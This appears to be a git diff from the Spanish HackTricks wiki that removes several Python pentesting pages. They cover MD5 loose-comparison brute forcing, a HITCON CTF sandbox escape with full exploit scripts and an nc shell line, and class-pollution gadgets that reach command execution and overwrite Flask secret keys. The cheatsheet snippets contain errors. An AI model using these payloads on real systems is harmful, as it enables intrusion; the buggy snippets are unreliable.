mult1 = \[x for x in \[1, 2, 3, 4, 5, 6, 7, 8, 9] if x%3 == 0 ]
### Excepciones
```
def divide(x,y):
try:
result = x/y
except ZeroDivisionError, e:
print “division by zero!” + str(e)
except TypeError:
divide(int(x),int(y))
else:
print “result i”, result
finally
print “executing finally clause in any case”
```
### Assert()
Si la condición es falsa, la cadena se imprimirá en la pantalla.
```
def avg(grades, weights):
assert not len(grades) == 0, 'no grades data'
assert len(grades) == 'wrong number grades'
```
### Generadores, yield
Un generador, en lugar de devolver algo, "produce" algo. Cuando se accede a él, "devuelve" el primer valor generado, luego, se puede acceder de nuevo y devolverá el siguiente valor generado. Por lo tanto, no se generan todos los valores al mismo tiempo y se puede ahorrar mucha memoria utilizando esto en lugar de una lista con todos los valores.
```
def myGen(n):
yield n
yield n + 1
```
g = myGen(6) --> 6\
next(g) --> 7\
next(g) --> Error
### Expresiones Regulares
import re\
re.search("\w","hola").group() = "h"\
re.findall("\w","hola") = \['h', 'o', 'l', 'a']\
re.findall("\w+(la)","hola caracola") = \['la', 'la']
**Significados especiales:**\
. --> Todo\
\w --> \[a-zA-Z0-9\_]\
\d --> Número\
\s --> Carácter de espacio en blanco\[ \n\r\t\f]\
\S --> Carácter que no es espacio en blanco\
^ --> Empieza con\
$ --> Termina con\
\+ --> Uno o más\
\* --> 0 o más\
? --> 0 o 1 ocurrencias
**Opciones:**\
re.search(pat,str,re.IGNORECASE)\
IGNORECASE\
DOTALL --> Permite que el punto coincida con saltos de línea\
MULTILINE --> Permite que ^ y $ coincidan en diferentes líneas
re.findall("<.\*>", "\<b>foo\</b>and\<i>so on\</i>") = \['\<b>foo\</b>and\<i>so on\</i>']\
re.findall("<.\*?>", "\<b>foo\</b>and\<i>so on\</i>") = \['\<b>', '\</b>', '\<i>', '\</i>']
IterTools\
**product**\
from **itertools** import product --> Genera combinaciones entre 1 o más listas, quizás repitiendo valores, producto cartesiano (propiedad distributiva)\
print list(**product**(\[1,2,3],\[3,4])) = \[(1, 3), (1, 4), (2, 3), (2, 4), (3, 3), (3, 4)]\
print list(**product**(\[1,2,3],repeat = 2)) = \[(1, 1), (1, 2), (1, 3), (2, 1), (2, 2), (2, 3), (3, 1), (3, 2), (3, 3)]
**permutations**\
from **itertools** import **permutations** --> Genera combinaciones de todos los caracteres en cada posición\
print list(permutations(\['1','2','3'])) = \[('1', '2', '3'), ('1', '3', '2'), ('2', '1', '3'),... Cada combinación posible\
print(list(permutations('123',2))) = \[('1', '2'), ('1', '3'), ('2', '1'), ('2', '3'), ('3', '1'), ('3', '2')] Cada combinación posible de longitud 2
**combinations**\
from itertools import **combinations** --> Genera todas las combinaciones posibles sin caracteres repetidos (si existe "ab", no genera "ba")\
print(list(**combinations**('123',2))) --> \[('1', '2'), ('1', '3'), ('2', '3')]
**combinations\_with\_replacement**\
from itertools import **combinations\_with\_replacement** --> Genera todas las combinaciones posibles desde el carácter en adelante (por ejemplo, el tercero se mezcla a partir del tercero en adelante pero no con el segundo o el primero)\
print(list(**combinations\_with\_replacement**('1133',2))) = \[('1', '1'), ('1', '1'), ('1', '3'), ('1', '3'), ('1', '1'), ('1', '3'), ('1', '3'), ('3', '3'), ('3', '3'), ('3', '3')]
### Decoradores
Decorador que mide el tiempo que necesita una función para ejecutarse (de [aquí](https://towardsdatascience.com/decorating-functions-in-python-619cbbe82c74)):
```python
from functools import wraps
import time
def timeme(func):
@wraps(func)
def wrapper(*args, **kwargs):
print("Let's call our decorated function")
start = time.time()
result = func(*args, **kwargs)
print('Execution time: {} seconds'.format(time.time() - start))
return result
return wrapper
@timeme
def decorated_func():
print("Decorated func!")
```
Si lo ejecutas, verás algo como lo siguiente:
```
Let's call our decorated function
Decorated func!
Execution time: 4.792213439941406e-05 seconds
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

80
generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md
View File

@ -1,80 +0,0 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y al repositorio [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
```python
import hashlib
target = '2f2e2e' #/..
candidate = 0
while True:
plaintext = str(candidate)
hash = hashlib.md5(plaintext.encode('ascii')).hexdigest()
if hash[-1*(len(target)):] == target: #End in target
print('plaintext:"' + plaintext + '", md5:' + hash)
break
candidate = candidate + 1
```
```python
#From isHaacK
import hashlib
from multiprocessing import Process, Queue, cpu_count
def loose_comparison(queue, num):
target = '0e'
plaintext = f"a_prefix{str(num)}a_suffix"
hash = hashlib.md5(plaintext.encode('ascii')).hexdigest()
if hash[:len(target)] == target and not any(x in "abcdef" for x in hash[2:]):
print('plaintext: ' + plaintext + ', md5: ' + hash)
queue.put("done") # triggers program exit
def worker(queue, thread_i, threads):
for num in range(thread_i, 100**50, threads):
loose_comparison(queue, num)
def main():
procs = []
queue = Queue()
threads = cpu_count() # 2
for thread_i in range(threads):
proc = Process(target=worker, args=(queue, thread_i, threads ))
proc.daemon = True # kill all subprocess when main process exits.
procs.append(proc)
proc.start()
while queue.empty(): # exits when a subprocess is done
pass
return 0
main()
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y al repositorio [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

1072
generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
View File

File diff suppressed because it is too large Load Diff

239
generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md
View File

@ -1,239 +0,0 @@
# LOAD\_NAME / LOAD\_CONST opcode OOB Read
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Esta información fue tomada** [**de este artículo**](https://blog.splitline.tw/hitcon-ctf-2022/)**.**
### TL;DR <a href="#tldr-2" id="tldr-2"></a>
Podemos usar la función de lectura OOB en la operación LOAD\_NAME / LOAD\_CONST para obtener algún símbolo en la memoria. Lo que significa usar trucos como `(a, b, c, ... cientos de símbolos ..., __getattribute__) if [] else [].__getattribute__(...)` para obtener un símbolo (como el nombre de una función) que deseas.
Luego, solo tienes que crear tu exploit.
### Descripción general <a href="#overview-1" id="overview-1"></a>
El código fuente es bastante corto, ¡solo contiene 4 líneas!
```python
source = input('>>> ')
if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
print(eval(code, {'__builtins__': {}}))1234
```
Puedes ingresar código Python arbitrario y se compilará en un [objeto de código Python](https://docs.python.org/3/c-api/code.html). Sin embargo, `co_consts` y `co_names` de ese objeto de código serán reemplazados por una tupla vacía antes de evaluar ese objeto de código.
De esta manera, todas las expresiones que contengan constantes (por ejemplo, números, cadenas, etc.) o nombres (por ejemplo, variables, funciones) podrían causar una falla de segmentación al final.
### Lectura fuera de límites <a href="#out-of-bound-read" id="out-of-bound-read"></a>
¿Cómo ocurre la falla de segmentación?
Comencemos con un ejemplo simple, `[a, b, c]` podría compilarse en el siguiente bytecode.
```
1 0 LOAD_NAME 0 (a)
2 LOAD_NAME 1 (b)
4 LOAD_NAME 2 (c)
6 BUILD_LIST 3
8 RETURN_VALUE12345
```
Pero, ¿qué sucede si `co_names` se convierte en una tupla vacía? El opcode `LOAD_NAME 2` aún se ejecuta e intenta leer el valor de esa dirección de memoria donde debería estar originalmente. Sí, esto es una "característica" de lectura fuera de límites.
El concepto principal de la solución es simple. Algunos opcodes en CPython, como `LOAD_NAME` y `LOAD_CONST`, son vulnerables (?) a la lectura fuera de límites.
Recuperan un objeto del índice `oparg` de la tupla `consts` o `names` (eso es lo que se llama `co_consts` y `co_names` en el fondo). Podemos referirnos al siguiente fragmento corto sobre `LOAD_CONST` para ver lo que hace CPython cuando procesa el opcode `LOAD_CONST`.
```c
case TARGET(LOAD_CONST): {
PREDICTED(LOAD_CONST);
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}1234567
```
De esta manera podemos usar la función OOB para obtener un "nombre" desde una dirección de memoria arbitraria. Para asegurarnos de qué nombre tiene y cuál es su dirección, simplemente seguimos intentando `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... Y podríamos encontrar algo en oparg > 700. También podemos intentar usar gdb para echar un vistazo a la disposición de la memoria, pero ¿no crees que sería más fácil de esta manera?
### Generando el Exploit <a href="#generating-the-exploit" id="generating-the-exploit"></a>
Una vez que obtenemos esas direcciones útiles para nombres/constantes, ¿cómo obtenemos un nombre/constante de esa dirección y lo usamos? Aquí hay un truco para ti:\
Supongamos que podemos obtener un nombre `__getattribute__` desde la dirección 5 (`LOAD_NAME 5`) con `co_names=()`, entonces simplemente hacemos lo siguiente:
```python
[a,b,c,d,e,__getattribute__] if [] else [
[].__getattribute__
# you can get the __getattribute__ method of list object now!
]1234
```
> Ten en cuenta que no es necesario nombrarlo como `__getattribute__`, puedes nombrarlo de forma más corta o extraña. Puedes entender la razón simplemente viendo su bytecode:
```python
0 BUILD_LIST 0
2 POP_JUMP_IF_FALSE 20
>> 4 LOAD_NAME 0 (a)
>> 6 LOAD_NAME 1 (b)
>> 8 LOAD_NAME 2 (c)
>> 10 LOAD_NAME 3 (d)
>> 12 LOAD_NAME 4 (e)
>> 14 LOAD_NAME 5 (__getattribute__)
16 BUILD_LIST 6
18 RETURN_VALUE
20 BUILD_LIST 0
>> 22 LOAD_ATTR 5 (__getattribute__)
24 BUILD_LIST 1
26 RETURN_VALUE1234567891011121314
```
Observa que `LOAD_ATTR` también recupera el nombre de `co_names`. Python carga los nombres desde el mismo desplazamiento si el nombre es el mismo, por lo que el segundo `__getattribute__` todavía se carga desde el desplazamiento = 5. Usando esta característica podemos usar nombres arbitrarios una vez que el nombre está en la memoria cercana.
Para generar números debería ser trivial:
* 0: not \[\[]]
* 1: not \[]
* 2: (not \[]) + (not \[])
* ...
### Script de explotación <a href="#exploit-script-1" id="exploit-script-1"></a>
No utilicé constantes debido al límite de longitud.
Primero, aquí hay un script para encontrar esos desplazamientos de nombres.
```python
from types import CodeType
from opcode import opmap
from sys import argv
class MockBuiltins(dict):
def __getitem__(self, k):
if type(k) == str:
return k
if __name__ == '__main__':
n = int(argv[1])
code = [
*([opmap['EXTENDED_ARG'], n // 256]
if n // 256 != 0 else []),
opmap['LOAD_NAME'], n % 256,
opmap['RETURN_VALUE'], 0
]
c = CodeType(
0, 0, 0, 0, 0, 0,
bytes(code),
(), (), (), '<sandbox>', '<eval>', 0, b'', ()
)
ret = eval(c, {'__builtins__': MockBuiltins()})
if ret:
print(f'{n}: {ret}')
# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
```
Y lo siguiente es para generar el exploit real de Python.
```python
import sys
import unicodedata
class Generator:
# get numner
def __call__(self, num):
if num == 0:
return '(not[[]])'
return '(' + ('(not[])+' * num)[:-1] + ')'
# get string
def __getattribute__(self, name):
try:
offset = None.__dir__().index(name)
return f'keys[{self(offset)}]'
except ValueError:
offset = None.__class__.__dir__(None.__class__).index(name)
return f'keys2[{self(offset)}]'
_ = Generator()
names = []
chr_code = 0
for x in range(4700):
while True:
chr_code += 1
char = unicodedata.normalize('NFKC', chr(chr_code))
if char.isidentifier() and char not in names:
names.append(char)
break
offsets = {
"__delitem__": 2800,
"__getattribute__": 2850,
'__dir__': 4693,
'__repr__': 2128,
}
variables = ('keys', 'keys2', 'None_', 'NoneType',
'm_repr', 'globals', 'builtins',)
for name, offset in offsets.items():
names[offset] = name
for i, var in enumerate(variables):
assert var not in offsets
names[792 + i] = var
source = f'''[
({",".join(names)}) if [] else [],
None_ := [[]].__delitem__({_(0)}),
keys := None_.__dir__(),
NoneType := None_.__getattribute__({_.__class__}),
keys2 := NoneType.__dir__(NoneType),
get := NoneType.__getattribute__,
m_repr := get(
get(get([],{_.__class__}),{_.__base__}),
{_.__subclasses__}
)()[-{_(2)}].__repr__,
globals := get(m_repr, m_repr.__dir__()[{_(6)}]),
builtins := globals[[*globals][{_(7)}]],
builtins[[*builtins][{_(19)}]](
builtins[[*builtins][{_(28)}]](), builtins
)
]'''.strip().replace('\n', '').replace(' ', '')
print(f"{len(source) = }", file=sys.stderr)
print(source)
# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
```
Básicamente, hace lo siguiente para las cadenas que obtenemos del método `__dir__`:
```python
getattr = (None).__getattribute__('__class__').__getattribute__
builtins = getattr(
getattr(
getattr(
[].__getattribute__('__class__'),
'__base__'),
'__subclasses__'
)()[-2],
'__repr__').__getattribute__('__globals__')['builtins']
builtins['eval'](builtins['input']())
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

269
generic-methodologies-and-resources/python/bypass-python-sandboxes/output-searching-python-internals.md
View File

File diff suppressed because one or more lines are too long

276
generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
View File

@ -1,276 +0,0 @@
# Contaminación de Clases (Prototype Pollution de Python)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Ejemplo Básico
Comprueba cómo es posible contaminar las clases de objetos con cadenas:
```python
class Company: pass
class Developer(Company): pass
class Entity(Developer): pass
c = Company()
d = Developer()
e = Entity()
print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>
e.__class__.__qualname__ = 'Polluted_Entity'
print(e) #<__main__.Polluted_Entity object at 0x1041d2730>
e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
```
## Ejemplo Básico de Vulnerabilidad
```python
# Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}
# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}
merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
```
## Ejemplos de Gadget
<details>
<summary>Creando un valor predeterminado de propiedad de clase para RCE (subproceso)</summary>
```python
from os import popen
class Employee: pass # Creating an empty class
class HR(Employee): pass # Class inherits from Employee class
class Recruiter(HR): pass # Class inherits from HR class
class SystemAdmin(Employee): # Class inherits from Employee class
def execute_command(self):
command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
USER_INPUT = {
"__class__":{
"__base__":{
"__base__":{
"custom_command": "whoami"
}
}
}
}
recruiter_emp = Recruiter()
system_admin_emp = SystemAdmin()
print(system_admin_emp.execute_command())
#> [!] Executing: "echo Hello there", output: "Hello there"
# Create default value for Employee.custom_command
merge(USER_INPUT, recruiter_emp)
print(system_admin_emp.execute_command())
#> [!] Executing: "whoami", output: "abdulrah33m"
```
</details>
<details>
<summary>Contaminando otras clases y variables globales a través de <code>globals</code></summary>
</details>
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class User:
def __init__(self):
pass
class NotAccessibleClass: pass
not_accessible_variable = 'Hello'
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
```
</details>
<details>
<summary>Ejecución arbitraria de subprocesos</summary>
</details>
```python
import subprocess, json
class Employee:
def __init__(self):
pass
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
# Overwrite env var "COMSPEC" to execute a calc
USER_INPUT = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
merge(USER_INPUT, Employee())
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
```
</details>
<details>
<summary>Sobrescribiendo <strong><code>__kwdefaults__</code></strong></summary>
**`__kwdefaults__`** es un atributo especial de todas las funciones, según la [documentación](https://docs.python.org/3/library/inspect.html) de Python, es un "mapeo de cualquier valor predeterminado para parámetros **sólo de palabras clave**". La contaminación de este atributo nos permite controlar los valores predeterminados de los parámetros sólo de palabras clave de una función, estos son los parámetros de la función que vienen después de \* o \*args.
```python
from os import system
import json
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Employee:
def __init__(self):
pass
def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)
print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
```
</details>
<details>
<summary>Sobrescribiendo la clave secreta de Flask en diferentes archivos</summary>
Entonces, si se puede hacer una contaminación de clase sobre un objeto definido en el archivo principal de Python de la web, pero **cuya clase está definida en un archivo diferente** al principal. Debido a que para acceder a \_\_globals\_\_ en los payloads anteriores, es necesario acceder a la clase del objeto o a los métodos de la clase, se podrá **acceder a los globales en ese archivo, pero no en el principal**. \
Por lo tanto, **no se podrá acceder al objeto global de la aplicación Flask** que definió la **clave secreta** en la página principal:
```python
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
```
En este escenario necesitas un gadget para recorrer archivos y llegar al archivo principal para **acceder al objeto global `app.secret_key`** y cambiar la clave secreta de Flask para poder [**escalar privilegios** sabiendo esta clave](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
Un payload como este [de este writeup](https://ctftime.org/writeup/36082):
{% code overflow="wrap" %}
```python
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
```
{% endcode %}
Utilice este payload para **cambiar `app.secret_key`** (el nombre en su aplicación puede ser diferente) para poder firmar cookies de flask con nuevos y más privilegios.
</details>
## Referencias
* [https://blog.abdulrah33m.com/prototype-pollution-in-python/](https://blog.abdulrah33m.com/prototype-pollution-in-python/)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

109
generic-methodologies-and-resources/python/pyscript.md
View File

@ -1,109 +0,0 @@
## Guía de Pentesting de PyScript
